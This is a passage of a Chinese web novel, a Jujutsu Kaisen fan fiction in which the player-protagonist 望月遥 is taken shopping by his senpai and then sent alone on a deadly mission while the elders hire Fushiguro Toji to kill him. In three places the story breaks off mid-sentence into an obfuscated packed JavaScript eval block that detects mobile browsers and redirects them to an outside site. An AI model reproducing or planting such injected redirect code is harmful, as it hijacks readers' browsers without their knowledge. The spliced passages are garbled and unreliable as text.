她一边说,一边偷偷用余光瞄望月遥,见少年乖乖地站在那里,没有半点不耐烦,心里那股软意又涌了上来,甚至连鼻血都流得更欢了。 冥冥翻了个白眼,从包里掏出一包纸巾,扔给庵歌姬:“行吧行吧,干燥,那你先把鼻血擦干净。” 庵歌姬心虚的接过纸巾擦鼻子,“遥,我以后能叫你遥吗。” “当然可以!歌姬前辈。”望月遥笑的更灿烂了,歌姬仿佛能看到望月遥身后冒出一条毛绒绒的大尾巴,甩的像个陀螺。 那俩人渣怎么配有这么乖巧可爱的同期啊!庵歌姬在内心呐喊。 “咳。”擦干净鼻血,庵歌姬把手背到身后戳了戳一旁无所事事的冥冥,示意她拿一下礼物。 冥冥:“……?” 这是把她当免费劳动力使唤了吗? 虽然这样想,但她还是从一堆行李里面掏出一个礼盒递给望月遥,“喏,给你的礼物,算是前辈对后辈的见面礼。” 庵歌姬在一边头点的飞起,“对,给你的礼物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332748|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们早就听哨子说过你了,所以这次回来前我们特地去挑选了礼物。” “谢谢前辈们。”望月遥双手接过礼盒,没有立刻打开,而是抱在怀里,一脸认真道,“我一定会好好珍惜这份礼物的!” 庵歌姬在旁边看得心里更软了,她伸手拍了拍冥冥的肩膀,语气里带着点得意:“你看,这孩子多乖,比悟和杰那俩家伙强多了。” “是是是,你说得都对。”冥冥翻了个白眼,却也忍不住笑了,“不过你刚才流鼻血的样子,可是被我拍下来了。” “你敢!”庵歌姬瞪了冥冥一眼,却也没真的生气,只是伸手去抢她的手机。 望月遥抱着礼盒站在一旁,静静地看着两位前辈闹,既不插话也不拦着,等她们闹够了停下来就看到少年安安静静的,阳光晒在他身上,他头一点一点的快要睡过去的模样。 歌姬&冥冥:“……她俩是不是有点丢前辈的面子了。” 这孩子都快站着睡着了。 这时候她们的手机叮铃一声响,打开一看,是五条悟发来的消息。 【老子天下第一】:哟,回来了吧,你们见到遥了没,怎么样,是不是超——可爱的。 【老子天下第一】:对了对了,有没有带伴手礼回来,我不介意你们带一大包甜点回来哦~ 【老子天下第一】:还有还有…… 叮叮叮的消息提示音不断,但庵歌姬看完前两条就已经不想看了,她狠狠地把手机盖上,额角的青筋突突的。 几个月不见他还是这副讨人嫌的模样啊可恶! 她的好心情都要没了! 但她看了看面前的望月遥,即将喷发的怒火噗的一声又消下去了。 好吧,算他有句话说的对,遥真的——超可爱!她决定原谅这个世界一天。 “遥,走!前辈们带你出去玩!”庵歌姬激情昂扬的说出这句话,把冥冥那伸出的试图拉住她的手给狠狠地甩在了身后。 冥冥:“请问,报告怎么办?” 她瞅了眼被丢在脑后的行李箱,又瞅了眼前面拽着后辈撒欢的跑的歌姬,最后无奈的一甩行李箱,也跟了上去。 “慢点啊,我陪你们一起。” 【财从四面八方来】:夜蛾老师,我们的行李箱在高专的训练场,麻烦你帮我们送到宿舍楼下,谢谢。 【玩偶制造师】:……等等?那你们人呢? 扔下这么一句话就没了后续,她当然看到了,但她懒得回,就当没看到好了。 她耸耸肩,也大步追了上去。 “歌姬,你付钱哦。”冥冥的声音像浸了蜜的冰,跟在庵歌姬身后,脚步轻快地追着出了训练场。 “我付我付我付,给可爱的遥买东西这事让我来!”庵歌姬一脸豪气地挥挥手,伸手紧紧揽住望月遥的肩膀,把他像小宝贝一样护在怀里,连耳尖都因为兴奋和“败家子”的决心而泛红,“今天可是我们第一次一起出去玩,必须让我们的乖后辈挑个够本!” 九十九·计划通·由基:拿捏。 13. 第四天灾与新的开始 等三人脚不沾地地冲出高专校门、扎进新宿商业街的人流里时,庵歌姬和冥冥已经一左一右把望月遥夹在了中间——像两尊护崽的门神,把少年牢牢护在中间,连晚风都吹不透这层“前辈保护罩”。 “遥,看好了!”庵歌姬猛地一拍胸脯,声音脆得像敲开的冰可乐,浑身上下透着股“今天要把新宿搬空”的豪气,“这条街上不管是漫画、手办还是游戏周边,喜欢什么你就拿什么,前辈我全包了!” 她一边说,一边还伸手拍了拍自己的钱包,那架势仿佛下一秒就要把整条街的商店全包下来。 旁边的冥冥靠在路灯杆上,指尖慢悠悠转着一枚银质硬币,黑鸦落在她肩头,歪头瞅着一脸激动的庵歌姬,眼底藏着点不易察觉的笑意。 她没像庵歌姬那样咋咋呼呼,只是微微抬眼看向望月遥,声音清晰:“别客气,你歌姬前辈今天心情好,你多拿点,她付得起。” 语气里听不出半分心疼,反正不是她付钱。 望月遥被两位前辈夹在中间,左手还抱着之前的见面礼礼盒,右手被庵歌姬攥着,冰蓝色的眼眸里瞬间亮起了藏不住的光,脸上却依旧维持着那副“我只是看看”的乖巧模样,声音软乎乎的:“前辈们……不用这么破费的,我看看就好。” 他说着,还微微低下头,长长的睫毛垂下来,遮住眼底那点对游戏手柄的渴望,像只怕给前辈添麻烦的小猫。 系统88疯狂吐槽:【装,接着装!你刚才盯着游戏店玻璃柜流口水的样子,已经被冥冥看见了。】 【你真是个strong哥啊遥。】 “闭嘴。”望月遥在心里默默回怼,脸上却挂着纯良无害的笑,“你懂什么,你懂什么!” “我这明明就叫懂事好吗。” 【懂事?】系统88嗤笑,【你刚才心里喊“我要那个限定手柄”的时候,怎么没见你懂事?】 “那我不是还没喊嘛。” 【呵呵。】 自从那天它说要在这里安个家以后,还真就天天都能听到这玩意儿的声音了,赶也赶不走,望月遥干脆摆烂了。 反正多它一个不多,少它一个不少,有这个小玩意在他还能在无聊的时候跟它斗斗嘴,挺不错的。 不过这种情况除外,它的嘴太欠了。 望月遥在心里默默给系统记上了一笔,等他回去没人了再跟它大吵八百个回合。 庵歌姬显然是被望月遥的乖巧冲昏了头脑,揉着少年的脑袋,语气里满是老母亲般的欣慰:“乖孩子,跟前辈客气什么!今天必须让我们的乖后辈挑个够本!走,先去漫画店!” 她拉着望月遥就往旁边的漫画店冲,冥冥则是慢悠悠地跟在后面。 走进漫画店,暖黄的灯光照亮了满墙的漫画书,空气中飘着油墨与纸张的香气。 庵歌姬直接冲到前台问服务员,“你好,请把你们这里销售最高的几款漫画都包好。” “橱窗里这些手办卖吗。” 看见少年眼神落在了一旁的展示台上,庵歌姬又问了一句,得到肯定的答复后,直接大手一挥,“那他刚刚看的那些全要了!” “他没看的也全要了!” 服务员一听这话嘴都要笑咧了,脸上堆满了和善的笑容,轻声细语的就去找人打包了。 望月遥一回神就听到这大气的“全包了。”硬是把到嘴边的“想要这个可以吗。”给咽了回去,发挥出自己十年茶艺,乖乖巧巧的小心道,“太破费了,歌姬前辈……我看看就好了,不用这么多的。” 【呕……】系统88看不下去了,这82年的绿茶味儿就是足啊。 听到脑海里这声yue,望月遥脸上的表情管理差点没收住,但还是很快就调整好,换了一副更可爱的表情。 “你再打扰我演戏你就等着吧!” “不行!”歌姬立刻拒绝,脸上的表情甚是严肃,手里不断的把打包好的礼袋和礼盒往望月遥怀里塞,“说好了今天消费我买单,喜欢什么就拿,前辈有的是钱!” 她一边说一边又拿了好几本漫画,往收银台走,丝毫不给人拒绝的机会。 “歌姬前辈,你也太破费了……”望月遥抱着怀里的手办和漫画,声音都有点颤抖了,“我要不好意思了。” “这有什么的。”庵歌姬拍着胸脯,豪气冲天,“只要我们的遥开心,多少钱都值得!走,下一站,游戏店!” 她拉着望月遥就往旁边的游戏店冲,冥冥则是慢悠悠地跟在后面,她抽空买了个可丽饼,拿在手里吃,现在没她表现得机会,她就安安静静的跟着就行。 走进游戏店,庵歌姬一眼就盯上了玻璃柜里的限定版手柄,伸手就要去拿,嘴里还念叨着:“遥,你看,这个手柄跟你的发色一模一样,肯定适合你。” 就在庵歌姬准备伸手去拿那个限定手柄的时候,一道熟悉的、欠揍的声音突然从身后传来: “哟,这不是我们的遥吗?居然在跟前辈们逛街买买买还不带我们。” 三人同时回头,就看见五条悟和夏油杰站在店门口,五条悟戴着墨镜,脸上挂着欠揍的笑,手里还拎着一个喜久福的袋子;夏油杰则是靠在门框上,温和地笑着,眼底却藏着一丝看热闹的意味。 “哈?!”庵歌姬发出不满的声音,“你们两个家伙怎么来了,阴魂不散啊!” “怎么会,恰巧遇到了。” 五条悟挑了挑眉,目光落在望月遥怀里的一堆漫画和手办上,又看了看庵歌姬伸向限定手柄的手,语气里满是调侃,“我们当初怎么没这待遇,太偏心了吧。” “是啊,悟说的对。”夏油杰在一边附和,“这怎么和我们当初的待遇相差这么大呢。” “你们俩还好意思说?”庵歌姬立刻反驳,“你们两个讨人厌的家伙别想和我的亲爱的后辈相提并论。” 五条悟表示不服,他气鼓鼓的伸手去戳望月遥的脸,“遥,你说,我和杰好不好!” 望月遥看着跟两人互掐的歌姬前辈,和一边看热闹不嫌事大的冥冥前辈,又看了看站在一旁笑眯眯的跟个狐狸一样的夏油杰,心里升起一点恶作剧的念头。 他慢慢的凑到五条悟和夏油杰身边,仰起脸眉眼弯弯,“悟,杰,你们看哦,是歌姬前辈和冥冥前辈给我买的哦。” “她们人好好的,我超喜欢的。” 他说着,还把怀里的漫画和手办往两人面前递了递,像只炫耀宝贝的小猫,一下戳中了在场人的心。 “哦~”歌姬的心像奶油般融化了,看看遥再看看五条悟和夏油杰,她脸上的嫌弃更是掩饰不住,“你俩不配和遥相提并论,我们遥多乖,你们呢。” 五条悟:“……” 夏油杰:“……” 两人看着望月遥那张软乎乎的脸,又看了看得意洋洋的歌姬,那点子攀比心瞬间炸了。 原来投喂猫猫东西是能得到猫猫撒娇的吗。 五条悟和夏油杰悟了。 “不行!”五条悟立刻开口,伸手把望月遥拉到自己身边,语气里带着点霸道,“我们也要给遥买礼物!不能让歌姬抢了风头!” “对。”夏油杰也跟着点头,温和的笑容里藏着一丝算计,“我们也要给遥买礼物。” 庵歌姬:“……?” “你们俩别捣乱!”庵歌姬立刻伸手去抢望月遥,“我们还没买完呢!” “谁捣乱了!”五条悟夹起望月遥就往店外跑,“我们这是去给遥买更好的!” “这两个混账!”庵歌姬咬牙切齿,“居然敢抢我们的后辈!” “行了,追吧。”冥冥靠在门框上,无奈的耸肩,“他们什么样我们又不是第一天知道了。” 两人对视一眼,也快步追了上去。 新宿的街头瞬间被这几个家伙搅得鸡飞狗跳,路人纷纷侧目,像看什么稀奇的街头闹剧。 五条悟夹着望月遥就往人流里冲,少年像只被拎住后颈的奶猫,手脚都晃悠着,怀里还抱着半摞漫画和手办,冰蓝色的眼眸里满是无奈,脸上却挂着乖巧到犯规的笑,软乎乎地喊:“悟~慢点,等等前辈们呀。” 这一声喊得五条悟魂都飘了,平时听没觉得有什么,但是跟别人一抢哪听哪顺耳。 夏油杰在后面紧紧地跟着,不着痕迹的拦了拦身后想要窜上来的两人。 “你们俩混账!把我们的遥还回来!”庵歌姬在后面追得头发都乱了,手里攥着个刚从路边捡的樱树枝,气得直跺脚。 冥冥不紧不慢的跟跑在歌姬身边,语气里满是看透一切的淡定: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332749|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行了,别扔树枝了,再砸到人,我们今晚要在警察局过夜了。” “那你倒是帮我抢人啊!”庵歌姬回头瞪她,耳尖都气红了,“我们的后辈都要被这俩家伙拐跑了!” “抢不走的。”冥冥慢悠悠开口,目光落在望月遥偷偷弯起的嘴角上,“你看他那副样子,明明是乐在其中。” 她看得通透,望月遥那点看热闹不嫌事大的小心思,在她眼里跟透明一样。 庵歌姬愣了愣,仔细一看,果然看见少年被夹在五条悟怀里,嘴角偷偷翘着,像只恶作剧得逞的小猫。 她瞬间气笑了:“好啊,连遥都学会恶作剧了,追!今天必须让这孩子知道,跟着那俩货是没有前途的!” 路过甜品店,五条悟抱着望月遥冲进去,抓了一盒草莓蛋糕就跑。 路过服装店,夏油杰顺手拿了件米白色的卫衣,说“跟遥看起来很搭。” 路过游戏店,庵歌姬直接把限定手柄揣进怀里,喊着“我的后辈必须有最好的。” 冥冥则是在后面慢悠悠记账,把每一笔开销都记在心里——他们拿了就跑,要是没她在后面垫付,怕是夜蛾老师就要去警局捞他们了。 等回去找他们报销,还要加上利息,她这算盘打的响亮。 望月遥被夹在中间,推车里的礼物堆得像小山,脸上却依旧挂着乖巧的笑,心里却在疯狂盘算: 【没想到前辈回来一趟直接激起了他们的攀比心。】 【这下子我稳坐钓鱼台,只赚不赔!】 【这才是第四天灾在咒术界摸鱼的正确打开方式嘛。】 跑了大概十几分钟,最后几人是被维持秩序的交警拦下进行口头教育才作罢。 “这里人这么多,你们怎么能这样乱跑!” “下次注意!” “是是……不好意思。” 送走了交警,庵歌姬幽怨的看向一旁装傻充愣的五条悟和夏油杰。 “我就知道和你们搭上边的事情没一个是好的!” “哈哈,欸嘿。” “好了,别闹了,找个地方坐会也比再来次教育强吧。”最后还是冥冥无奈出声,带着人往路边走。 几人对视一眼,没再闹腾,跟着冥冥往路边的长椅走去。 夕阳把新宿的街头染成了暖橙色,晚樱的花瓣飘落在长椅上,带着春日特有的甜意。 几人挤在长椅上,望月遥被夹在中间,怀里抱着小山似的礼物,安安静静地看着夕阳。 五条悟靠在椅背上,摘下墨镜,露出那双漂亮的蓝眼睛,看着望月遥,语气里带着点委屈:“遥,你刚才跟歌姬撒娇的时候,怎么没跟我们撒?” “就是啊。”夏油杰在一旁附和,温和的笑容里藏着点期待,“我们也想被遥撒娇。” 望月遥愣了愣,看着身边的两人,像是第一天认识他们一样。 但随即,他脸上绽开一抹笑,轻声道,“好哦,悟~杰~” “你们今天,超帅的!” “我最喜欢你们啦!” 他主动拉住夏油杰的袖口,又把脑袋往五条悟肩膀上蹭了蹭,毛绒绒的发顶划过脸颊,像羽毛轻轻拂过,带着丝丝痒意,划进了他的心。 原来遥,是这样的吗? 五条悟心里突然冒出这个想法,他愣愣的看着靠在他肩头的人,他不说话的时候,无声无息的,安静的像个精致的玩偶,没有生动的笑,也没有闹人的活泼。 五条悟的愣神自然逃不过夏油杰的眼睛,他抬眼看向那个一直注视着遥的人,不说话,也把目光移回望月遥身上,他的手在被攥住袖口时就一直没动了,生怕一点细微的动静都会惊扰到身边的人。 【……玩家?你怎么了。】系统88察觉到不对劲,迟疑着出声问道。 “没什么。”望月遥在心里回复,只是语气里的平淡证实了他和平时不太一样。 “我只是在想,这真的是游戏吗。” 不管是怀抱的温度,还是被喜爱时真切的感受,都让他恍惚到不能自己。 “算了,可能就是有点累。” 【……】它没吱声,只是半晌才道,【嗯,累是正常的,今后可能会更累了。】 …… 【加载进度:99%】 14. 第四天灾与新的主线任务 回到高专的时候已经很晚了。 望月遥和五条悟夏油杰他们在高专门口分别,因为他们又被任务电话给叫走了。 “怎么回事?”冥冥挑了挑眉,眼里带着丝探究的意味,“最近的咒灵有这么多吗,下午他们也是刚出完任务回来吧。” “身上那股残秽气息太浓了。” “……不知道。”歌姬无所谓的摊手,“用不着担心他们吧,那两个臭小鬼,虽然说话很气人,但确实。” “他们很强啊。” 冥冥一手叉腰,一只手随意的把玩着手里的硬币,语气平淡,“也是,那我们也走吧,回去收拾行李。” 庵歌姬点头,回身看向望月遥,开口,“遥,我们先回去收拾行李了,这段时间我们都没任务了,到时候再带你玩。” “不带五条悟和夏油杰的那种。”她眨眨眼,笑的意味深长。 “好的,歌姬前辈。” 目前着两人离去,不久前还热热闹闹的五人队伍,转瞬就只剩下了望月遥一个人。 手机在黑夜中散发着荧荧微光,熟悉的提示音响起,他拿出手机一看,是家入哨子发来的消息。 【医疗班摆烂王】:图片JPG.图片JPG. 【医疗班摆烂王】:悟那家伙,刚刚发消息来,说他今天和杰买了好多东西给你。 【医疗班摆烂王】:别管他们了,我也给你买了礼物,早就该给你的,只不过最近太忙了,给忘了,幸亏他刚刚发的消息提醒我了。 【医疗班摆烂王】:给你放到宿舍门口了,回去的时候记得拿,我还有事先忙了,早点休息。 望月遥点开最开始发来的两张图片,一张是一条choker和一双黑色的半掌手套的例图,一张是一个精致的雾蓝色礼盒,和他的发色很像。 他刚来高专的那天,身上的配饰就是这些,那之后他就再也没有穿过这些了,但是家入哨子很细心,记得很清楚。 他回了消息,却没有收到回信,应该是按她说的又在忙了吧。 稍微有点寂寞了。 他起身向宿舍方向走去,却没想到在宿舍楼底下见到了貌似等待许久的夜蛾老师。 【加载进度:100%】 【世界同步完成——当前主线推进至:高层试探·第一阶段】 系统提示音落下的瞬间,望月遥猛地一顿,看向前方的夜蛾正道。 新宿街头的热闹像一场暖融融的梦,怀里的温度还没消散,耳边却已经被夜蛾老师的声音撞得发懵:“望月,刚到的任务通知,江东区废弃综合病院,特级咒灵【腐秽之巢】,上面要求你一个人去。” “我……一个人?”他的问好还没说出口,就被夜蛾正道突如其来的消息卡在了喉咙,过了几秒,他才找回自己的声音,问道。 如果他没记错的,他只是个评价一级的咒术师吧,前段时间还受过伤的那种? 夜蛾老师背过身,指尖攥着任务单,指节泛白:“这是上面的决定,我……无能为力。” 他又何尝不知道以望月遥的能力,去处理那个已经成型的特级咒灵的难度不异于登天,可上级的要求他没办法拒绝。 望月遥愣了,系统刚才的提示还在耳边响:【任务难度已上调至SS级,隐藏触发:黑市暗流,概率90%】。 他虽然觉得奇怪,但还是没有拒绝,他点点头,接过任务单,“好,我知道了。” 毕竟他是第四天灾嘛,这样刷副本才是常态的,只不过不带队友独自刷高危副本还是少有的,大不了就是多刷几次,他接受良好。 可是心里隐隐的预警却让他觉得有些难受。 于是他在心里疯狂cue系统。 “系统,你给我标好咒灵的弱点,不然我就卸载游戏!” 【……好的,本次任务系统将全程提供资料支持。】 夜蛾正道见面前的少年乖巧地接下任务书,还对他弯了弯冰蓝色的眼,终究是没忍心。 他犹豫了片刻,从袖中摸出一枚巴掌大的咒骸,递到望月遥面前——那咒骸裹着一层淡灰色的咒纹,是只造型扭曲的咒灵手骨,看着渗人,却带着淡淡的防护气息。 “带着这个咒骸,遇到危险应该能保护你一阵子。” “那你回去休息吧,明天一早就要出任务了。”说完,夜蛾正道没等望月遥的回复,径直离开了,只留下话没说完的望月遥站在宿舍楼下。 望月遥捏着那枚咒骸站在宿舍楼下,指尖摩挲着上面冰凉的咒纹,心里还在跟系统掰扯: “系统,这是什么?新手保护道具吗?看着有点丑啊,跟我限定手办没法比。” “不过聊胜于无,总比没有强。” 【系统提示:已识别道具“夜蛾的庇护”,效果:吸收一次SS级以下咒术攻击,持续时间24小时。】系统的机械音依旧没半点情绪,只弹出一行冰冷的说明,半点没提这枚咒骸背后的“心软”与“无奈”。 “系统,你说这副本会不会太难啊?我单人刷会不会被BOSS秒杀?” “你可别跟上次似的,关键时刻掉链子,不然我真卸载了。” 系统没再吱声,只在视网膜上弹出一行淡蓝色的字:【游戏进程无法终止,请玩家安心完成任务。】 望月遥皱了皱眉,却也没再多问,转身走进了宿舍。 他把东西往桌上一放,抱着漫画就瘫在床上,翻了两页却没看进去,满脑子都是夜蛾老师仓促的背影,和心里那点挥之不去的异样。 *** 另一边,京都咒术高层的秘密议事厅。 空气像是被一只无形的手攥紧,密不透风的秘密议事厅里,连呼吸都带着滞涩的沉重。几支残烛在石桌上摇曳,昏黄的火光跳荡着,将烛芯拖出长长的、扭曲的影子,投在满是裂纹的石墙上。 檀香烟雾不是缓缓升腾,而是像凝固的墨色瘴气,在空间里沉沉下坠,混着陈年咒骸的腐臭、老人口鼻间的腐朽气息,还有一丝若有若无的血腥味,缠成一张密不透风的网,把每一寸空气都浸得阴寒刺骨。 上首的老人枯坐如塑,瘦骨嶙峋的手指搭在任务单上,指节泛着死灰,浑浊的眼瞳里却没有半分温度,只有淬了冰的阴狠。 他身侧的几位老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332750|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者皆垂着头,传统的黑色和服衬得他们面色愈发惨白,指尖捻着的咒纹令牌在烛火下泛着冷冽的光,指甲缝里还沾着未擦净的黑褐色咒渍。 墙上的影子不再是单纯的轮廓,而是被烛火扯得扭曲变形,像蛰伏在暗处的毒蛇,蜷着身子吐着信子;又像剥了皮的鬼魅,在石墙上缓缓爬行,每一道褶皱都藏着算计与狠戾。 “祂……接下任务了。” 老人的声音从烟雾里钻出来,轻得像毒蛇吐信,却带着能冻裂骨头的寒意,在死寂的议事厅里绕了几圈,撞在雕花窗棂上,发出细碎的、令人牙酸的闷响。 “呵…呵呵……哈。”断断续续的阴沉的笑声从老者口中吐出,“让我们看看,祂都有什么能耐。” “夜蛾那家伙,倒是给那个东西塞了个咒骸。”坐在一旁的老者嗤笑一声,语气里满是不屑,“不过没用,那点东西,挡得住咒灵,挡不住我们的算计,更挡不住‘天灾之核’的觉醒。” “无妨。”老人摆摆手,指尖划过密档上望月遥的脸,眼神里没有半分对后辈的怜惜,只有对工具的审视,“让他去,让他在江东区的腐秽里,彻底变成我们想要的样子——要么死,要么成为钉死五条悟和夏油杰的枷锁。” “还有那个禅院甚尔……”白发老者突然开口,声音里多了几分警惕,“那家伙也在江东区,会不会坏了我们的事?” “无妨,他的出现只会把这趟水搅得愈加浑浊,这只会是我们想要看到的场面。” “哈哈…不愧是您啊……” …… 上首的老人的冷笑还在烟雾里盘旋,身侧的老者立刻会意,从怀里摸出一枚刻着咒纹的传讯符,指尖注入一丝阴鸷的咒力——符纸瞬间燃成黑灰,化作一道淡得几乎看不见的咒力流,顺着通风管钻了出去,精准落向新宿黑市的方向。 那是高层故意放出的饵,内容只有一行:【咒术高专二年级望月遥,“天与异物”的遗留者,找到他,杀了他。】 江东区的晚风卷着废弃病院的腐臭味,扑在伏黑甚尔脸上。 他靠在斑驳的砖墙边,指尖捻着一枚刻着禅院家纹的旧硬币,暗绿色的眼睛里映着远处黑黢黢的病院轮廓,像一只蛰伏在阴影里的猎豹,连呼吸都放得极轻,生怕惊扰了什么。 怀里的联络符突然发烫,他皱了皱眉,摸出来一看——是黑市线人发来的消息,字迹潦草,边缘还沾着淡淡的咒灵黑渍:【甚尔先生,新的任务来了,追杀咒术高专二年级生望月遥,请尽量伪造成意外身亡。】 【切记,不要让那两位知道这件事。】 甚尔的眉梢猛地挑了挑,嘴角的斜疤跟着扯动,露出一口白牙,却没半点温度。 他把联络符捏碎,纸屑在风里飘走,指尖的硬币转得更快了,暗绿色的眼睛里闪过一丝玩味的冷光。 “借刀杀人?”他低笑一声,声音里带着对咒术界的嘲讽,他看出来了这种手笔,可这跟他没有关系,钱到位,神鬼他都可以杀。 “告诉他们,这个任务我伏黑甚尔接了。” 他利落的起身,伸手对着空气挥了挥,他知道那个人能看到。 15. 第四天灾和腐秽之巢 腐秽是咒灵的温床,也是人心的坟墓——而你,是被推到棋盘中央的、名为「望月无」的棋子。 *** 暗黄色的灯光在他身后晃了晃,把他的影子拉得很长,投在斑驳的土墙上,像一头蛰伏的猎豹。 甚尔伸手摸了摸腰间的天逆鉾,冰凉的刃尖蹭过指腹,让他浑身的肌肉都绷紧了——那是天与咒缚赋予他的本能,对猎物的警觉,对强者的兴奋,还有对咒术界刻入骨髓的厌恶。 禅院家的弃子,术师杀手……这些标签对他来说都不如「钱」字来得实在。 高层要借他的手除掉那个叫望月遥的高专新人,理由是那孩子是「望月无」的直系血脉后裔,藏着「天灾之核」的力量,是咒术界的「异物」——哪怕他一眼就看穿这是个借刀杀人的陷阱,也无所谓。 毕竟,一亿日元的委托金,足够他在这个吃人的咒术界里,再逍遥快活一段时间。 至于那孩子是谁,是什么后裔,跟他半毛钱关系都没有。 甚尔扯了扯嘴角,斜疤在昏黄的灯光下显得格外刺眼。 他拿起桌上的游云,把咒具别在后背,又检查了一遍天逆鉾的刃口——每一道划痕都见证过他的杀戮,每一次出鞘都带着血与火的味道。 “小鬼……”他低笑一声,暗绿色的眼睛里闪过一丝玩味,“我倒要看看,你这个「天灾之后」,能不能在我手里活过三招。” 说完,他推开吱呀作响的木门,消失在新宿黑市的阴影里。 晚风卷着咒灵的腐臭味扑在他脸上,像在为这场即将到来的狩猎,奏响序曲。 *** 高专宿舍,凌晨四点。 望月遥蹲在地上,把漫画、手办、咒骸一股脑塞进帆布包,塞得鼓鼓囊囊,像只囤货的仓鼠。 他一边塞,一边在心里疯狂cue系统: “系统系统,这次单人副本,你可别给我搞事啊!上次那个诅咒师的台词都老套到掉牙了,「把咒具交出来饶你不死」,能不能换点新鲜的?比如「交出你的限定手办」?” 之前他也出过几次小任务,遇见过诅咒师。 只不过那个诅咒师实在是太没劲了,才勉强够到二级边缘,叫嚷着把你的咒具,其实就是系统出品的不知名垃圾,给他,一边释放着自己的术式往他身上扑。 凑得近了他还能闻到那个诅咒师身上一股发酵了好几个月的垃圾桶的臭味,把他熏得眼泪都出来了。 那天出完任务回来他泡在浴室洗了好几遍,才感觉终于把身上沾到的味道洗干净。 【亲,做不到哦。】 系统88表示很无语,就算这真是个游戏那也不可能毫无逻辑到让npc喊着手办啊漫画啊之类的就冲上去就是干吧。 【做任务前最后一次提醒,目标:祓除特级咒灵“腐秽之巢”,隐藏目标:探查咒灵操控者,奖励:新术式解锁进度+10%,咒术积分+3000,天灾之核碎片×1(未解锁)。】 望月遥塞东西的手顿住了,皱着眉问,“天灾之核是个什么玩意,能吃吗。” 【这边建议您吃奥利给,您吃吗。】 望月遥:“……” “我先给你塞几口你吃吗。” 【哈哈,这不是满足您想吃东西的渴望嘛,您连天灾之核能不能吃都问出来了,我以为您已经饿到饥不择食了呢。】系统88皮笑肉不笑。 【以及,您的权限不足哦,目前不得查询天灾之核相关信息。】 【玩家当前身份:高专二年级咒术师,「第四天灾」玩家,与「望月无」术式存在未知关联,该信息已被咒术高层锁定,目标为掌控或销毁。】 “……”望月遥翻了个白眼,把最后一个手办塞进包里,“权限不足权限不足,你是不是故意的?每次问到关键问题就装死!我看你就是个谜语人系统,还有,我只是个来摸鱼的玩家,跟什么无有半毛钱关系啊! 【您之前新术式的补丁呢亲。】 “啥?”望月遥不可置信,“你怎么不早说抽新术式还带给人加设定的?” 【我就知道玩家你要赖账。】系统在光屏上做了个翻白眼的颜文字表情包,调出当时抽卡的录像,特意放大了关于术式介绍那栏最下方的一行小字——【注:装备该术式有极大概率触发新身份补丁,请玩家谨慎选择!】 “?”望月遥脑袋上冒出一个大大的问号,他死死的盯着那行纳米小字,冷笑一声,“这种玩意谁能看得到。” 【我就看得到呀亲~】系统88语气荡漾,欠嗖嗖的发了个wink表情包。 “你个人工智障当然能看到!”望月遥气不打一处来,抓起羽毛枕就往墙上抡,“哪家好人用肉眼能看到这行字我问你,谁!” 【五条悟也可以的呀亲~】 望月遥:“…………” 他竟无言以对,这个人工智障说的竟该死的令人信服。 “我谢谢你啊。”望月遥咬牙切齿,他嘴上抱怨着,手上却没停,继续打包自己的行李。 于是,在凌晨四点半。 高专宿舍楼下一个看起来鼓鼓囊囊的身影步履蹒跚的往高专外走去,那背影走出了一股风萧萧兮易水寒,壮士一去不复还的悲凉。 望月遥:“你见过凌晨四点的太阳吗!” “哼,我见过!” 【玩家,你这个地方凌晨四点见不到太阳的。】系统88自然没忽视望月遥内心的戏精想法,毫不留情的拆台。 “你给老子滚!(`へ?)” 他把身后的行李往上撸了撸,总觉得不得劲,这次任务不能让他刷几百遍吧。 算了,第四天灾永不服输,大不了读档重来就是了。 【玩家打算怎么去。】 “打车去呗怎么去。” 【不带辅助监督啦?】 “哪来的辅助监督啊。”望月遥不客气的白了一眼,“这么近不仅没有要求我马上出任务,就连辅助监督都没跟我联系。” “你觉得这是个正常副本吗。” 【哎呀,没想到玩家你还挺敏锐的,那你就打车吧。】 “我平时只是懒得思考又不代表我傻。”望月遥呵呵两声,“你果然是人工智障。” 【……人参公鸡不好吧亲。】 “你是人吗?” 系统88不说话了,在光屏里各种拍打数据流,【这人舔一下嘴唇能把自己毒死吧!】 他没再跟系统拌嘴,出了高专就在路边叫了辆出租车,报了江东区废弃综合病院的地址。 出租车缓缓开动,窗外的街景飞速倒退,从高专的宁静,渐渐过渡到江东区的破败。高楼大厦变成了低矮的棚户区,霓虹灯光变成了昏黄的路灯,连空气里都弥漫着腐臭的味道。 望月遥靠在车窗上,看着窗外的景色,心里又开始跟系统碎碎念:“系统,你说这什么操控者是谁啊,咒术高层现在就这么烂了吗,烂的不分敌我啊。” 